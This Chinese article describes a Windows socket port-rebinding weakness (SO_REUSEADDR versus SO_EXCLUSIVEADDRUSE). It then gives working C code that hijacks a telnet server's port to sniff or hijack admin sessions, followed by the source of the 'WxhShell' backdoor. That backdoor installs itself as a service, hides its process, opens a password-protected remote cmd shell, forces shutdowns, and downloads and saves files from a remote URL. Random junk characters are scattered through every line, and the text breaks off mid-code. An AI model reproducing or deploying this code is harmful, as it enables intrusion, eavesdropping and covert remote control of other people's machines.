在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
*i*\dl s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
lO\HchGzB WCd:(8B saddr.sin_family = AF_INET;
F~=kMQO &M5v EPR saddr.sin_addr.s_addr = htonl(INADDR_ANY);
GTB\95j] }],l m bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
gwIR3u ,62~u'hR5 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
e,#w*| ;S^"Y:7) 这意味着什么?意味着可以进行如下的攻击:
\
o2oQ3 KPy)%i 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
5 `TMqrk M>=@Z*u/+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~I N g9| :kcqf,7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
g:RS7od=, <`-sS]=d} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
fahQ^#&d` QN;5+p[N 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Mm,\e6#* 3 US`6Y" 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
M
p<r`PM2 #<Y3*^~5d 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
CSjd&G*ZB A ___|
#R #include
Ma\%uEgTD #include
5Kd"W, #include
5vD\?,f E #include
-`ljKp DWORD WINAPI ClientThread(LPVOID lpParam);
EyR/ int main()
r=.@APZB {
G "+[@| WORD wVersionRequested;
kReZch} DWORD ret;
1d!s8um; WSADATA wsaData;
jSBz),.XU} BOOL val;
{
#B/4 SOCKADDR_IN saddr;
512p\x@ SOCKADDR_IN scaddr;
uB\UIz)e int err;
:)Es]wA#HZ SOCKET s;
WyV,(~y SOCKET sc;
6|Dtx5
"r int caddsize;
[ {"x{; HANDLE mt;
CC@U'9]bH DWORD tid;
:icpPv wVersionRequested = MAKEWORD( 2, 2 );
7Z+Fjy-B err = WSAStartup( wVersionRequested, &wsaData );
JkR%o
#>5 if ( err != 0 ) {
noaR3) printf("error!WSAStartup failed!\n");
S7j(4@ return -1;
`[E-V }
k ]gPMhe saddr.sin_family = AF_INET;
U`N?<zm<oO e`a4Gr //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
<x$nw'H9 kqZRg>1A saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
f3,LX]zKA saddr.sin_port = htons(23);
!m=Js" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
GYy8kp84 {
w9u|E46 printf("error!socket failed!\n");
,c&t#mu*0 return -1;
K_t >T)K }
B]hRYU val = TRUE;
r]}6iF. //SO_REUSEADDR选项就是可以实现端口重绑定的
3
u=\d)eq if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
~%tVb c {
(e_p8[x printf("error!setsockopt failed!\n");
VxOWv8}| return -1;
gs0jwI }
;L",K?6# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
|j/Y#.k;{0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
f@9XSZ<.71 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
1Q^u#m3 nT4Ryld if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Ht43G_.j {
}X])055S ret=GetLastError();
LIJ#nb printf("error!bind failed!\n");
l'Li!u return -1;
'rXf }
N? S;v&q+ listen(s,2);
z+M{zr while(1)
l`6.(6 {
_"H\,7E caddsize = sizeof(scaddr);
&RuTq6)r //接受连接请求
GGLSmfb) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,|8aDL? if(sc!=INVALID_SOCKET)
irw5<l {
RI<smt.Ng mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
sJQ~:p0e if(mt==NULL)
|ggtb\W {
v:!TqfI printf("Thread Creat Failed!\n");
7uUq+dp break;
+F,])p4,]i }
i,;a( Sy4 }
SG~HzQ\% CloseHandle(mt);
uDcs2^2l }
D'moy*E closesocket(s);
1W.oRD&8j/ WSACleanup();
E!WlQr:b$ return 0;
"7fEL:|j }
sm?b,T/ DWORD WINAPI ClientThread(LPVOID lpParam)
M4;M.zxJv {
( ,mV6U% SOCKET ss = (SOCKET)lpParam;
u"T9w]Z\ SOCKET sc;
<tO@dI$~> unsigned char buf[4096];
1DU
l<&4 SOCKADDR_IN saddr;
iVVR$uzhH long num;
{&Rz>JK DWORD val;
`X()"Qw DWORD ret;
6o]{< T/' //如果是隐藏端口应用的话,可以在此处加一些判断
toj5b;+4F //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
vG)B}`M saddr.sin_family = AF_INET;
04-@c saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
jpXbFWgN
saddr.sin_port = htons(23);
9!r0uU" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
f;+.j/ + {
]4')H;'y printf("error!socket failed!\n");
@az<D7j2 return -1;
$6ucz' }
oFt_ yU- val = 100;
h1B_*L if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
xe.f]a {
1NTx?JJfW ret = GetLastError();
rHybP6C< return -1;
l7<VH z0b }
AU}|o0Ur if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2A*,9S|Y {
4QPHT#e qX ret = GetLastError();
>#;_Ebl@ return -1;
3*{l^<`:gA }
#;1RStb:zj if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
<JXHg,Q {
&{# 6Z printf("error!socket connect failed!\n");
9J_vvq`%` closesocket(sc);
?J+*i
d closesocket(ss);
GVf[H2%H return -1;
2h}FotlO }
"-5FUKI- while(1)
qauvwAMuX {
9)[)07 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.W9
*- //如果是嗅探内容的话,可以再此处进行内容分析和记录
C=K{;. //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1n*"C!q num = recv(ss,buf,4096,0);
bz,"TG[ if(num>0)
*ni0. send(sc,buf,num,0);
" :[;}f; else if(num==0)
hp7ni1V break;
*. A-UoHa num = recv(sc,buf,4096,0);
p Zxx if(num>0)
q+;lxR5D send(ss,buf,num,0);
cF iTanu else if(num==0)
3fE0cVG* break;
XCgC^c' }
gH"aMEC closesocket(ss);
zT!.5qd closesocket(sc);
}lq$Fi/ return 0 ;
WhFE{-!gX }
+,T}x+D
31]Vo;D 3UQBIrQ ==========================================================
J!Rqm!)q LR4W 下边附上一个代码,,WXhSHELL
f*m^x7 QD-Bt=S7l ==========================================================
{q&`B 6aAN8wO;b #include "stdafx.h"
,>kXn1 , ]g%HU%R-m #include <stdio.h>
>*|Eyv_ #include <string.h>
*Hv d #include <windows.h>
DU5rB\!.~ #include <winsock2.h>
^|!\IzDp #include <winsvc.h>
e-xT.RnQ #include <urlmon.h>
z,!A4ws G!D~*B9G #pragma comment (lib, "Ws2_32.lib")
hy~KY6Ta #pragma comment (lib, "urlmon.lib")
^g <Lu/5w sAK&^g #define MAX_USER 100 // 最大客户端连接数
qr*e9Uk^ #define BUF_SOCK 200 // sock buffer
,[_)BM #define KEY_BUFF 255 // 输入 buffer
G 8tK"LC !_dW
` #define REBOOT 0 // 重启
,z((?h,nm #define SHUTDOWN 1 // 关机
e)L!4Y44K "`pg+t& #define DEF_PORT 5000 // 监听端口
zR=g<e1xe bDegIW/'w #define REG_LEN 16 // 注册表键长度
O`~L*h_ #define SVC_LEN 80 // NT服务名长度
S!iDPl~ c[C(3c|n // 从dll定义API
rd X; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
o
7V&HJ[ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
;>]dwsA*P typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Z]OX6G typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0h('@Hb.K# lZ,$lZg9Z // wxhshell配置信息
y7z ,I struct WSCFG {
MGo`j:0 int ws_port; // 监听端口
%7Gq#rq char ws_passstr[REG_LEN]; // 口令
n*~#]%4 int ws_autoins; // 安装标记, 1=yes 0=no
UyMlk char ws_regname[REG_LEN]; // 注册表键名
'?$<k@mJW char ws_svcname[REG_LEN]; // 服务名
I
wu^@ char ws_svcdisp[SVC_LEN]; // 服务显示名
wA87|YK8* char ws_svcdesc[SVC_LEN]; // 服务描述信息
K=P LOC5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Ml_!)b int ws_downexe; // 下载执行标记, 1=yes 0=no
(+TL
]9P char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Wl,I %<&j} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
g(F2IpUm/ Lf Y[Z4 };
"?Jf# \J6e/ G // default Wxhshell configuration
AUaupNN struct WSCFG wscfg={DEF_PORT,
$BOIa "xuhuanlingzhe",
<1U *{y 1,
Hxj8cXUF| "Wxhshell",
,nw5 M.D_ "Wxhshell",
)VG_Y9;Xk: "WxhShell Service",
Yp$@i20 "Wrsky Windows CmdShell Service",
w#sP5qKv8 "Please Input Your Password: ",
S~ y.>X3"P 1,
u/`x@u "
http://www.wrsky.com/wxhshell.exe",
Ap}`Q(. "Wxhshell.exe"
_`9WNJiL };
9H%ixBnM =mxj2>,& // 消息定义模块
I=8MLv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
"N=q>jaX char *msg_ws_prompt="\n\r? for help\n\r#>";
tqU8>d0^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
d^|r#"o[ char *msg_ws_ext="\n\rExit.";
1| xKb(_l char *msg_ws_end="\n\rQuit.";
OJLyqncw char *msg_ws_boot="\n\rReboot...";
A+hT2Ew@t} char *msg_ws_poff="\n\rShutdown...";
ksqb& ux6 char *msg_ws_down="\n\rSave to ";
fp"GdkO#}i vXR27 char *msg_ws_err="\n\rErr!";
`u8=~]rblj char *msg_ws_ok="\n\rOK!";
y$?O0S%F pzDz@lAwR char ExeFile[MAX_PATH];
^Ov+n1,) int nUser = 0;
T%2%*oa HANDLE handles[MAX_USER];
VmTgD96 int OsIsNt;
#XAH`L\ 7"{CBbT SERVICE_STATUS serviceStatus;
S`[r]msw SERVICE_STATUS_HANDLE hServiceStatusHandle;
Nbm$ta PE+{<[n // 函数声明
U9//m=_ int Install(void);
leJ3-w{ 2 int Uninstall(void);
/<IXCM. int DownloadFile(char *sURL, SOCKET wsh);
jTok1k int Boot(int flag);
l @r`NFWD@ void HideProc(void);
RgVg~?A@ int GetOsVer(void);
rGSi
!q int Wxhshell(SOCKET wsl);
#Xun>0 void TalkWithClient(void *cs);
1h?:gOig int CmdShell(SOCKET sock);
A)TO<dl int StartFromService(void);
-k3WY&9, int StartWxhshell(LPSTR lpCmdLine);
]8XIw`:f #U/L8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
aDX4}`u VOID WINAPI NTServiceHandler( DWORD fdwControl );
Qlhm:[ "(E%JAwZ^W // 数据结构和表定义
2!Pwg0%2 SERVICE_TABLE_ENTRY DispatchTable[] =
2{)<Df@ {
3WY:Fn+# {wscfg.ws_svcname, NTServiceMain},
bY=Yb {NULL, NULL}
Dl=vv9 };
NJ!}(=1|K D+Z,;XZ // 自我安装
4_vJ_H-mO, int Install(void)
]iiB|xT {
wafws*b% char svExeFile[MAX_PATH];
;0E[ ;
L! HKEY key;
9QN(Wq@ strcpy(svExeFile,ExeFile);
g);.".@" $s5D/60nO // 如果是win9x系统,修改注册表设为自启动
<D(|}5qR if(!OsIsNt) {
~fly6j|u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
L(kW] RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
cN#f$ RegCloseKey(key);
9B1bq # if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[AAIBb+U RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!Ka~X!+\ RegCloseKey(key);
#0/^v* return 0;
\'Ca%j }
>tV:QP]Y }
78u=J z6 }
-<q@0IYyi else {
=&;}#A%m {Gr"oO`&" // 如果是NT以上系统,安装为系统服务
V?z-Dt C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]4&B*]j if (schSCManager!=0)
Wi!$bL`l {
(:J
U SC_HANDLE schService = CreateService
G)y'ex k (
4 !M6RL8{ schSCManager,
B*Q wscfg.ws_svcname,
\!'K#%]9 wscfg.ws_svcdisp,
+Ram%"Zwh SERVICE_ALL_ACCESS,
b]5S9^=LI SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
'5SO3/{b SERVICE_AUTO_START,
4S,/Z{ J. SERVICE_ERROR_NORMAL,
D$bJ s O svExeFile,
<e' l"3+9( NULL,
SrSm%Dv NULL,
yg@}j NULL,
%Wb$qpa NULL,
/ ,
.rUn1 NULL
x\6 i (k- );
^VlPnx8y= if (schService!=0)
'd|E>8fejG {
<=!|U0YV
CloseServiceHandle(schService);
?nx
1{2[ CloseServiceHandle(schSCManager);
Q02:qn?T strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
#+PfrS= strcat(svExeFile,wscfg.ws_svcname);
82Nw6om6i if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
08E ,U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
5%(xZ
6 RegCloseKey(key);
{c:ef@'U return 0;
h5m6 )0" }
wi-{& }
qt#4i.Iu+ CloseServiceHandle(schSCManager);
+jz%:D }
t M{U6k }
-` e`U%n m3iB` return 1;
{Ng HH]]O }
X+k`UM~ s2\6\8Ipn // 自我卸载
H3"D$Nv int Uninstall(void)
v_ W03\ {
Y@M
l}43 HKEY key;
"]{"4qV1= 8\ WOss)al if(!OsIsNt) {
cK+y3`.0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
r=pb7=M#LN RegDeleteValue(key,wscfg.ws_regname);
vE+OL8 V RegCloseKey(key);
"J6aU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
834dsl+U RegDeleteValue(key,wscfg.ws_regname);
{uMqd-Uu RegCloseKey(key);
FUU/=)^P$ return 0;
2T#>66^@q }
5mYI5~
p }
wa4(tM2 }
Qz?r4kR else {
4 '-GcH HxH=~B1"P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
s_ N]$3'[E if (schSCManager!=0)
h ^6Yjy {
vdN0YCXG SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
66~]7w if (schService!=0)
Dhe ]f#d {
Lg4I6 G if(DeleteService(schService)!=0) {
BHBMMjY5 CloseServiceHandle(schService);
Z
]WA-Q6n CloseServiceHandle(schSCManager);
yS:1F
PA$_ return 0;
C]+T5W\"<B }
&OSyU4r CloseServiceHandle(schService);
Nd4!:. }
)<1}`9G CloseServiceHandle(schSCManager);
|K6hY-uC }
H/ 6GD,0 }
pu*vFwZ Y4|g^>{<ni return 1;
qP0_#l& }
j?n:"@!G/ Li;(~_62a] // 从指定url下载文件
i\?P>:) int DownloadFile(char *sURL, SOCKET wsh)
p;rGaLo:u {
{1ic*cZS HRESULT hr;
nu#_,x<LS char seps[]= "/";
p@7[w@B\c char *token;
UPkD^D, char *file;
.%4{zaB char myURL[MAX_PATH];
R'q:Fc char myFILE[MAX_PATH];
;hLne0|)} UMJ>6Ko8 strcpy(myURL,sURL);
<KDl2>O token=strtok(myURL,seps);
Rl""
aZ while(token!=NULL)
yxa~Rz/ {
3yAzt*dZ file=token;
vYNh0)$%F token=strtok(NULL,seps);
J12ZdC'O }
?=uw0~O[ b]h]h1~hHH GetCurrentDirectory(MAX_PATH,myFILE);
o[!g,Gmoh strcat(myFILE, "\\");
4;ig5'U, strcat(myFILE, file);
5PQs1B send(wsh,myFILE,strlen(myFILE),0);
=Jx,.|Bf send(wsh,"...",3,0);
E*Q><UU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
zoV-@<Eh if(hr==S_OK)
L.xzI-I@D return 0;
SAEr $F^ else
&n:F])`2 return 1;
SdfrLdi}Y o2ndnIL }
-'|pt,) Vhww-A // 系统电源模块
O$%C(n( int Boot(int flag)
x6ig,N~AO {
\8!&XcA HANDLE hToken;
[lC*|4t& TOKEN_PRIVILEGES tkp;
fodr1M4J f#p.=F$ if(OsIsNt) {
>, &6zj OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
#mX=Y>l LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
xe:
D7 tkp.PrivilegeCount = 1;
;6} *0V_!k tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|j
i}LWcD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
G'z&U?Ng if(flag==REBOOT) {
8P 3EQY- if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
%Iv0<oU return 0;
URW'*\Xjb }
.Wq`qF(; else {
qu[x=LZ_ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,diV;d return 0;
e6f!6a+% }
i%W,Y8\uf* }
`C`_2y8 else {
h<9h2 if(flag==REBOOT) {
h(I~HZ[K&T if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
d+|8({X]D8 return 0;
3X{=*wvt }
MQQ!@I` else {
[PrR30: if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
)^^r\ return 0;
9b !+kJD }
{cv,Tz[Q> }
~} mX#, V&_5q`L return 1;
I@ch 5vl4 }
(*%+!PS u+zq:2)H6 // win9x进程隐藏模块
HPT9B?^ void HideProc(void)
P,O9On {
KW.S)+<H& s&lZxnIjc HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Uc}L/ax if ( hKernel != NULL )
mhM=$AIq {
q5[%B K pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
d
`Q$URn| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Lvc*L6 FreeLibrary(hKernel);
.J~iRhVOF }
z1LATy cJm!3X return;
m\4jiR_o }
(G"b)"Qum =?57*=]0M // 获取操作系统版本
fZXJPy;n int GetOsVer(void)
5-w6(uu {
5Lt&P
5BY OSVERSIONINFO winfo;
a'Qy]P}'Ug winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
q01zN:|-1 GetVersionEx(&winfo);
P!m~tu}B if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
@-;-DB]j return 1;
Xig+[2zS else
7BF't!-2F return 0;
yaA9*k }
5in6Y5c kj wLU w'Ai // 客户端句柄模块
^<<( }3 int Wxhshell(SOCKET wsl)
5gV8=Ml"V {
ag?@5q3J} SOCKET wsh;
L"tj DAV struct sockaddr_in client;
qB7.LR*' DWORD myID;
DSy,#yA /Yx 1S'5 while(nUser<MAX_USER)
mxQS9y {
f b_tda",} int nSize=sizeof(client);
eF}Q8]da wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
X<(h)&E if(wsh==INVALID_SOCKET) return 1;
k KL^U (J<@e!@NE handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
)u]<8 if(handles[nUser]==0)
Tc\^=e^N? closesocket(wsh);
,q/K&'0` else
G+'MTC_ nUser++;
$K ,rVTU }
2X)E3V/*
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
E[htNin.B~ XT= #+ return 0;
4lb3quY$Us }
=o _d2Ak ^=D77 jS // 关闭 socket
_ZD)#? void CloseIt(SOCKET wsh)
+B_q? 6pR {
Roy`HU
;0a closesocket(wsh);
rQ*'2Zf'< nUser--;
ui7 0| ExitThread(0);
nUhD41GJ }
-j]r\EVKS `U!eh1*b // 客户端请求句柄
yi# Nrc5B void TalkWithClient(void *cs)
`-s+ zG {
R`ZU'| < W/-[ M SOCKET wsh=(SOCKET)cs;
=t&B8+6 char pwd[SVC_LEN];
*xU^e`P char cmd[KEY_BUFF];
n1uJQt char chr[1];
v2EM| Q xp int i,j;
w>H!H6Q \fU{$ while (nUser < MAX_USER) {
x7Ly, %MbjKw if(wscfg.ws_passstr) {
Lvv`_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
w*#k&N[X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
WqY:XE+?\ //ZeroMemory(pwd,KEY_BUFF);
;csAhkf:S i=0;
<s+=v! while(i<SVC_LEN) {
w69`vK
A~I}[O~(pb // 设置超时
%r6~5_A fd_set FdRead;
IDE@{Dy struct timeval TimeOut;
#B`"B FD_ZERO(&FdRead);
-&))$h3o\ FD_SET(wsh,&FdRead);
>S5D-)VX TimeOut.tv_sec=8;
YV{^S6M TimeOut.tv_usec=0;
p5)A"p8"9, int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
y
@Y@"y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
0gO2^m)W kZ`60X%wE if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
b
|m$ W pwd
=chr[0]; 8DLR
if(chr[0]==0xd || chr[0]==0xa) { U@m<
pwd=0; cdzzS?$)
break; bU2)pD!N
} Sqc*u&W
i++; Kj}hb)HU
} (sJ{27b_
_rs!6tp
// 如果是非法用户,关闭 socket A_Sl#e
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9<[RXY
} O%(:8nIgZ
RJF1~9
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,UWO+B]
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EW#.)@-
79:x>i=
while(1) { rI;e!EW
a_QO)
ZeroMemory(cmd,KEY_BUFF); w|?Nq?KA
r^ #.yUz
// 自动支持客户端 telnet标准 >4~{CXZ
j=0; Xd|@w{.m*
while(j<KEY_BUFF) { 0\o0(eHCQz
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @WBy:gV"
cmd[j]=chr[0]; UTin0k
if(chr[0]==0xa || chr[0]==0xd) { kX[I|Z=
cmd[j]=0; /kx:BoV
break; HEjV7g0E
} D\j1`
j++; -U%wLkf|
} G:u[Lk#6K
/d'^XYOC
// 下载文件 ,W*<e-
if(strstr(cmd,"http://")) { z6'zNM7M
send(wsh,msg_ws_down,strlen(msg_ws_down),0); f} }Bb8
if(DownloadFile(cmd,wsh)) "St, 4b
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _QY0j%W
else 8"8sI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n8zUL1:R
} S5m1~fz
else { u"pn'H
`9S<E
switch(cmd[0]) { <MvFAuAT
f_D1zU^
// 帮助 /,E%)K;
case '?': { Y/gVyQ(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1mI)xDi9
break; w4(DR?[nC
} w`>xK
sKW>
// 安装 ,@Ed)Zoh
case 'i': { )_xM)mH
if(Install()) qZ_^#%zO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uO7Ti]H
else \vFkhm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {v;Y}o-p
break; ]C)PZZI='
} ru'Xet
// 卸载 B S b!{|]
case 'r': { O_F<VV*MFQ
if(Uninstall()) `Ph4!-6#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aWe
H,A%
else =B<g_9d4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /Pg66H#RUf
break; 2{+\\.4Evk
} J&8l1{gd
// 显示 wxhshell 所在路径 zq{L:.#ha
case 'p': { p+9vSM #
char svExeFile[MAX_PATH]; .O1g'%
strcpy(svExeFile,"\n\r"); 8{Zgvqbb
strcat(svExeFile,ExeFile); Q*mPU=<
send(wsh,svExeFile,strlen(svExeFile),0); A[oi?.D
break; 5f}63as
} 3.R?=npA
// 重启 NwT3e&u%|
case 'b': { @*%5"~F
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @zd)]O]xH?
if(Boot(REBOOT)) *e_ /D$SC
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <]CO}r
else { tQ?? nI2
closesocket(wsh); oB_{xu$6|
ExitThread(0); ym(r;mj!
} U]e;=T:3
break; l6l)M
} *<Qn)Az
// 关机 =H!u4
case 'd': { K +w3YA
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }p8a'3@Z
if(Boot(SHUTDOWN)) (U$ F) 7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); = UTv
else { *(o~pxFTR
closesocket(wsh); \:-; {
ExitThread(0); _h@e.BtDs
} p@r~L(>+3
break; 8@b@y|#]X
} (q:L_zFj>"
// 获取shell -I4@` V
case 's': { @BW~A@8
CmdShell(wsh); 42#
rhgW
closesocket(wsh); !30Dice
ExitThread(0); uiDR}
break; 47
m:z5;
} Dyt}"r\
// 退出 \n:' >:0X!
case 'x': { (MNbABZQ
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9O@eJ$
CloseIt(wsh); i'`Z$3EF)
break; ]'T-6
} e7vPiQCc
// 离开 GW`9SB
case 'q': { 3(AgUq
send(wsh,msg_ws_end,strlen(msg_ws_end),0); bX5>qqB]
closesocket(wsh); 1{nXmtvr
WSACleanup(); Y}nE/bmx&9
exit(1); eCk}B$ 2
break; NsWyxcty
} Ej6vGC.,
} ir%/9=^d
} x\x>_1oP
Zroj-3-X~
// 提示信息 qjUQ2d
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u4#BD!W
} WI}P(!h\J
} FS1<f:
\7gLk:
return; 9Z
rWG
} bnUd !/;
=3/||b4c
// shell模块句柄 *PZN Z{|m
int CmdShell(SOCKET sock) ` [@
F3x
{ ur*1I/v
STARTUPINFO si; jk 9K>4W
ZeroMemory(&si,sizeof(si)); B{c,/{ =O
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rf]]I#C7
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oD~VK,.
PROCESS_INFORMATION ProcessInfo; >,32~C
char cmdline[]="cmd"; 3Yg/-=U(
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^aXyho
return 0; F!'b_gmz
} KQQR"[z&V
p0'A\@|
// 自身启动模式 vpOzF>O
int StartFromService(void) [<f\+g2ct
{ a.wRJ
typedef struct H.wp{m{
{ dO rgqz`e
DWORD ExitStatus; [^~Fu9+"
DWORD PebBaseAddress; H4^-M Sw
